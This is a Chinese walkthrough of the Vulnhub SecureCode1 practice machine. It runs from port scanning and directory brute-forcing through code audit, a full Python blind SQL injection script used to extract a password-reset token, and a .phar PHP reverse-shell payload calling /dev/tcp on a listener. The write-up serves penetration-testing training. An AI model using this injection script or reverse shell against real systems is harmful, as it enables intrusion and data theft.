【Vulnhub系列】Vulnhub_SecureCode1靶场渗透(原创)

【Vulnhub系列靶场】Vulnhub_SecureCode1靶场渗透

原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

一、环境配置

1、从百度网盘下载对应靶机的.ova镜像

2、在VM中选择【打开】该.ova

image-20240209184001407

3、选择存储路径,并打开

image-20240209184019990

4、之后确认网络连接模式是否为【NAT】

二、信息收集

1、主机发现

image-20240207163539575

2、端口探测

1、快速粗略探测

image-20240207163617743

只发现80端口

2、进行精细化探测

image-20240207163652742

image-20240207163700245

仍然只有80端口

3、进行全扫描和漏洞探测

image-20240207163926406

一个Ubuntu 的Linux机器

image-20240207163842603

发现文件上传和SQL注入漏洞,是一个很好的开端

3、对web目录爆破

dirsearch.cmd -u http://192.168.31.61 -x 404,403	#过滤404,403响应

image-20240207164030015

4、web框架探测

image-20240207164250119

使用了Bootstrap 的前端开发框架和JQuery 库

三、获取shell立足点

1、查看敏感文件

1、robots.txt:提示禁止去/login/*,不允许访问login下的任何文件

image-20240207170232753

2、login目录:是一个登录页面

image-20240207170321419

3、查看其他目录提示无权限

image-20240207182037225

2、源代码文件泄露

1、对登录页面尝试SQL注入失败,几经周折无计可施

2、返回再进行信息收集,端口探测也并无其他端口开放,目录扫描也无其他结果

3、此时能用的有参数爆破,以及zip 等敏感文件的存在(还可以尝试子域名爆破,但由于是靶机且无域名存在,因此此路不通)

4、有include 目录的存在且发现include/header.php 文件在其他地方也经过了引用,可以联想到文件包含漏洞,通过对参数进行爆破

我们在kali 中用wfuzz 工具对包含了header.php 文件的login.php页面进行爆破,并无收获

wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt --hw 113 http://192.168.31.61/login/login.php?FUZZ=

image-20240207190949073

5、检索zip 等敏感文件

我们用dirb 这个工具,对敏感后缀进行爆破

dirb http://192.168.31.61  -X .php,.html,.rar,.7zip,.tar.gz,.gz,.zip,.bak

image-20240207191226354

可以看到确实存在一个名为源代码的zip 文件

将其下载下来

 curl http://192.168.31.61/source_code.zip --output source_code.zip

3、代码审计登录后台

解压该文件,发现存在一个.sql文件,莫不是数据库文件

image-20240207191629744

找到两个用户名和密码,用hashid 判别一下

image-20240207191943474

然后用john 进行爆破,没有结果

既然拿到了源代码,那就进行一波代码审计

image-20240208180111100

重点在这两个文件中

在doChangePassword.php 文件中,对token 进行了校验,然后可以进行密码修改的操作,这里应该是关键

image-20240208174200635

在 resetPassword.php文件中对token 进行了更新操作,那么我们拿到这个token 就可以对admin 的密码进行修改

image-20240208180435447

再往下看

image-20240208182452736

这里就是发送的邮件信息内容,在doChangePassword.php 后面加上token 的值去修改对应用户的密码

那么如何获取15位的token值,爆破难度太高,再查看源代码

image-20240208190642976

这个地方存在SQL注入的可能性很大,对/item/viewItem.php 文件进行查看

image-20240208191024191

如下,确认存在SQL注入

image-20240208191220609

进行数据爆破,这里写了一个脚本根据响应值来进行SQL注入,可修进(放武器库了)

import requestsurl = 'http://192.168.31.62/item/viewItem.php?id=1'def column_data_name(column_data_len,User_table_name,User_column_name):column_data_names = {}column_one_name = ''for i in range(0,len(column_data_len)):  #i是第几个字段的值for j in range(1,column_data_len[i]+1):   #j是要爆破字段值的第几个字符for n in range(0,126):  #n是要爆破字段值的ascii码值new_url = url + "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint('-----------------------------')print(f"第{i}个字段的值为:{column_one_name}")column_data_names[i] = column_one_namecolumn_one_name = ''return column_data_namesdef column_data_length(column_names,User_table_name,User_column_name):column_data_len = {}for i in range(0,10):       #i是第几个字段的值,猜测10个数值for j in range(1,20):     #j是要爆破字段数值的长度,猜测该字段数值最大为20new_url = url + "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_data_len[i] = jif i == 10:print('已超过测试数值的最大值,请调整!!!')breakreturn column_data_lendef column_name(column_len,User_table_name):column_names = {}column_one_name = ''for i in range(0,len(column_len)):  #i是第几个字段,len(column_len) 是字段的数量for j in range(1,column_len[i]+1):           #j是要爆破字段的第几个字符for n in range(0,126):     #n是要爆破字段名的ascii码值new_url = url + "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint(f"第{i}个字段的名称为:{column_one_name}")column_names[i] = column_one_namecolumn_one_name = ''return column_namesdef column_length(User_table_name):     #要查看的表名column_len = {}for i in range(0,10):       #i是第几个字段,这里假设有10个字段for j in range(1,30):     #j是要爆破字段的长度,假设字段长度最长为20new_url = url + "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_len[i] = jif i == 10:print('已超过测试字段数的最大值,请调整!!!')breakreturn column_lendef table_name(table_len):table_names = {}table_one_name = ''for i in range(0,len(table_len)):   #i是第几张表,len(table_len)表示共有几张表for j in range(1,table_len[i]+1):           #j是要爆破表名第几个字符,到表的长度for n in range(0,126):     #n是要爆破表名的ascii码值new_url = url + "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):table_one_name += chr(n)breakprint(f"第{i}张表的名称为:{table_one_name}")table_names[i] = table_one_nametable_one_name = ''return table_namesdef table_length():table_len = {}for i in range(0,10):        #i是第几张表for j in range(1,10):     #j是要爆破表的长度new_url = url + "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)if Response_judgment(new_url):table_len[i] = jbreakreturn table_lendef database_name(database_len):database_names = ''for i in range(1,database_len + 1):     #i是数据库的第几个字符for j in range(0,126):          #j是要爆破数据库名的ascii码值new_url = url + "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(j)if Response_judgment(new_url):database_names += chr(j)breakreturn database_namesdef database_length():for i in range(1,10):   #假设数据库的长度在10以内new_url = url + "%20and%20length(database())=" + str(i)if Response_judgment(new_url):return iprint('payload无效,请更替payload!!!')def Response_judgment(new_url):respone = requests.get(new_url)if respone.status_code == 404:return Trueelse:return Falsedef main():database_names = database_name(database_length())    #这里传入数据库的长度print('-----------------------------')print(f"数据库的名称为:{database_names}")print('-----------------------------')table_names = table_name(table_length())    #求表的名称,传入表的长度print('-----------------------------')print(f"所有表的名称为:{table_names}")User_table_name = input('请输入要查看的表名:')print('-----------------------------')column_names = column_name(column_length(User_table_name),User_table_name)       #求字段的名字,输入字段的长度print('-----------------------------')print(f"该表中所有字段的名称为:{column_names}")User_column_name = input('请输入要查看的字段名:')print('-----------------------------')column_data_len = column_data_length(column_names,User_table_name,User_column_name)   #求字段值的长度,传入字段的名称column_data_names = column_data_name(column_data_len,User_table_name,User_column_name)  #求字段的值print('-----------------------------')print(f"该字段中所有数值为:{column_data_names}")if __name__ == '__main__':main()

image-20240209161542518

拿到token,进入doChangePassword.php?token=iBWWtGgLTA8KqEa,之后修改admin 的密码,提示密码更改成功

image-20240209161258109

之后进行登录,成功登录后台

image-20240209161632922

4、获取shell立足点

1、在后台进行信息收集,发现flag1

image-20240209163602954

2、在添加材料的地方发现文件上传

image-20240209163746214

3、先上传一个phpinfo文件,发现有限制

image-20240209164006481

4、在源代码上看,是做了黑名单和mime 检测

image-20240209164347008

5、抓包绕过,黑名单中并没有phar后缀

我们上传一个.phar后缀的php反弹shell,并在本地进行监听,成功拿到shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.50/4444 0>&1'"); ?>

image-20240209171953541

四、提权root

1、查找敏感文件

1、在/var/www下找到flag2

image-20240209172416582

其中的legendary 让人很在意,尝试su 到普通用户 secure

shell=/bin/bash script -q /dev/null
su secure

image-20240209172544562

失败了

2、connection.php文件

看到数据库的账号密码:hackshop:hackshopuniquepassword

image-20240209172719676

是否满足数据库提权呢?mysql版本大于5.7,不能进行数据库提权

image-20240209173207183

2、提权root

此靶机无需root提权

原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/51438.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mathtype7.8中文版远程安装并嵌入word(包成功)

Mathtype7.8是一款专业的数学公式编辑工具&#xff0c;能够帮助用户在各种文档中插入复杂的数学公式和符号。数学公式编辑器工具可以轻松输入各种复杂的公式和符号&#xff0c;与Office文档完美结合&#xff0c;显示效果超好&#xff0c;比Office自带的公式编辑器要强大很多。M…

obsidian 首页制作 辅助笔记总结回顾

记笔记最重要的是回顾与总结&#xff0c;有这么一款插件可以让我们自己搭建一个美观的首页&#xff0c;它包括热力图、文稿统计、文稿回顾等等功能&#xff0c;你是否愿意尝试呢&#xff1f; 今天就介绍一款插件&#xff0c;能快速制作笔记首页&#xff0c;辅助总结、回顾。 …

深入浅出搞懂 Apache CXF 框架

Web服务是系统与系统之间通信的重要方式。本文将结合Apache CXF和Spring&#xff0c;详细讲解如何创建和配置Web服务&#xff0c;并给出具体的示例&#xff0c;帮助读者快速上手。 什么是Web服务&#xff1f; Web服务是一种允许不同应用程序通过网络进行互操作的技术&#xff…

sql注入详解【从数据库架构分析】

简介 SQL注入是一种常见的Web应用程序安全漏洞&#xff0c;它允许攻击者在Web应用程序中插入恶意SQL语句&#xff0c;从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足&#xff0c;特别是当应用程序直接将用户输入作为SQL语句的一部分使用&…

Flutter Screenshot使用指南:轻松捕获Widget为图片

Flutter Screenshot使用指南&#xff1a;轻松捕获Widget为图片 简介 screenshot 是一个Flutter插件&#xff0c;它提供了一个简单的方法来捕获任何Widget为图片&#xff0c;包括那些未渲染在屏幕上的Widget。 主要功能 捕获屏幕上的Widget为图片。支持捕获不可见的Widget&a…

聊聊基于Alink库的特征工程方法

独热编码 OneHotEncoder 是用于将类别型特征转换为独热编码的类。独热编码是一种常用的特征编码方式&#xff0c;特别适用于处理类别型特征&#xff0c;将其转换为数值型特征。 对于每个类别型特征&#xff0c;OneHotEncoder 将其编码成一个长度为类别数量的向量。 每个类别对…

数据库实验:SQL Server基本表单表查询

一、实验目的&#xff1a; 1、掌握使用SQL语法实现单表查询 二、实验内容&#xff1a; 1. 查询订购日期为2001年5月22日的订单情况。&#xff08;Orders&#xff09;&#xff08;时间日期的表达方式为 dOrderDate ‘2001-5-22’&#xff0c;类似字符串&#xff0c;使用单引号…

Python爬虫技术 第20节 模拟用户交互

Python爬虫技术是一种自动化获取网页数据的方法。模拟用户交互是其中的一个高级主题&#xff0c;通常用于处理那些需要用户输入、点击按钮或者执行其他交互操作才能加载数据的动态网站。 下面我会分步骤介绍如何使用Python来模拟这些用户交互&#xff1a; 1. 基础爬虫知识 在…

vue的虚拟Dom和diff算法

什么是虚拟dom&#xff1a; 虚拟 DOM 是一个抽象的虚拟树结构&#xff0c;用于表示页面的结构和内容&#xff0c;但它并不直接与实际的浏览器 DOM 交互。当响应式数据变化时&#xff0c;Vue 会生成一个新的虚拟 DOM 树&#xff0c;表示更新后的页面状态&#xff0c;再通过diff…

NumpyPandas:Pandas库(50%-100%)

目录 前言 一、排序 1.使用索引排序 2.使用变量值排序 二、计算新变量 1.新变量为常量 2.根据原变量新增列 3.基于一个原变量做函数运算 4.在指定位置插入新列 三、修改替换变量值 1.对应数值替换 2.指定范围替换 四、虚拟变量变换 五、数值变量分组 六、数据分组…

ChatGPT:@JSONField 有什么用

ChatGPT&#xff1a;JSONField 有什么用 JSONField 注解在使用 Fastjson 进行 JSON 序列化和反序列化时&#xff0c;提供了以下主要功能&#xff1a; 字段别名&#xff1a; 你可以使用 JSONField 注解指定 JSON 字符串中字段的名称。如果 Java 对象的字段名与 JSON 字符串中的…

构建大规模账号池与本地部署:GitHub爬虫项目详解

账号池搭建 必要性 常见登录方式&#xff1a; 基于Session Cookie的登录基于JWT的登录&#xff1a;登录生成JWT字符串 账号池存储cookie或者JWT字符串 方便后续发请求爬取数据 本地部署 conda建立一个虚拟环境 conda create -n new_env python3.x # 替换 x 为你需要的 P…

Python3网络爬虫开发实战(7)JavaScript 动态渲染页面爬取

文章目录 一、Selenium1. 基本安装2. 基本使用3. 声明浏览器对象4. 访问页面5. 查找节点6. 节点交互7. 动作链8. 执行 JavaScript9. 获取节点信息10. 切换 Frame11. 延时等待12. 前进后退13. Cookies14. 选项卡管理15. 异常处理16. 反屏蔽17. 无头模式18. Pyppeteer&#xff0c…

80后最后的书信 年代

当时11亿人口只有1.8万部固定电话 中国几千年来 鱼传尺素 雁寄鸿书 写信最后要写 亲啓 如有照片&#xff0c;封面要写内有照片&#xff0c;请勿折叠 信的开头应该是 见字如面&#xff0c;展信舒颜 如果拜托别人做事情&#xff0c;最后要写为盼 最后要写 某某草 书未尽…

ubuntu 配置opencv-python-imsow()报错

python调用imshow&#xff08;&#xff09;时出现下面的错误&#xff1a; error: (-2:Unspecified error) The function is not implemented. Rebuild the library with Windows, GTK 2.x or Cocoa support. If you are on Ubuntu or Debian, install libgtk2.0-dev and pkg-c…

Python --Pandas库基础方法(1)

文章目录 Pandas主要数据结构Pandas 的安装Series对象创建使用列表创建调取值与索引指定index字典创建标量与index对象一起传入创建 DataFrame对象创建创建DataFrame对象values、index、columns属性列表创建索引columns的使用 Pandas中的Index导入csv文件指定列名指明分隔符读取…

关于黑马Ajax项目的笔记

一、token的介绍 概念&#xff1a; 访问权限的令牌&#xff0c;本质上是一串字符串 创建&#xff1a; 正确登录后&#xff0c;由后端签发并返回 作用&#xff1a; 判断是否有登录状态等&#xff0c;控制访问权限 注意 前端只能判断token有无&#xff0c;后端才能判断to…

复制带有随机指针的链表(通过复制链表实现)

public static Node copyListWithRand2(Node head){ // 如果头节点为空&#xff0c;直接返回null if(head null){ return null; } // 初始化当前节点和下一个节点 Node cur head; Node next null; // 遍历链表&#xff0c;复制每个节点&#xf…

大厂面经:京东大数据面试题及参考答案(3万字长文)

目录 Hive窗口函数有什么,什么场景,怎么用 Hive文本拼接函数是什么 Hive的数据存储格式有哪些,优缺点 两个表 join 过程中,空值的情况如何处理? Hive存储结构的区别? Hive本身对于SQL做了哪些优化? Hive分区和分桶区别? Hive分桶表的作用? HBase负载均衡怎么…

智能番茄新鲜度检测系统:基于深度学习的全面实现

基于深度学习的番茄新鲜度检测系统&#xff08;UI界面YOLOv8/v7/v6/v5代码训练数据集&#xff09; 引言 番茄是全球广泛种植和消费的蔬菜之一&#xff0c;其新鲜度直接影响其营养价值和口感。传统的番茄新鲜度检测主要依赖于人工观察和经验判断&#xff0c;这不仅费时费力&am…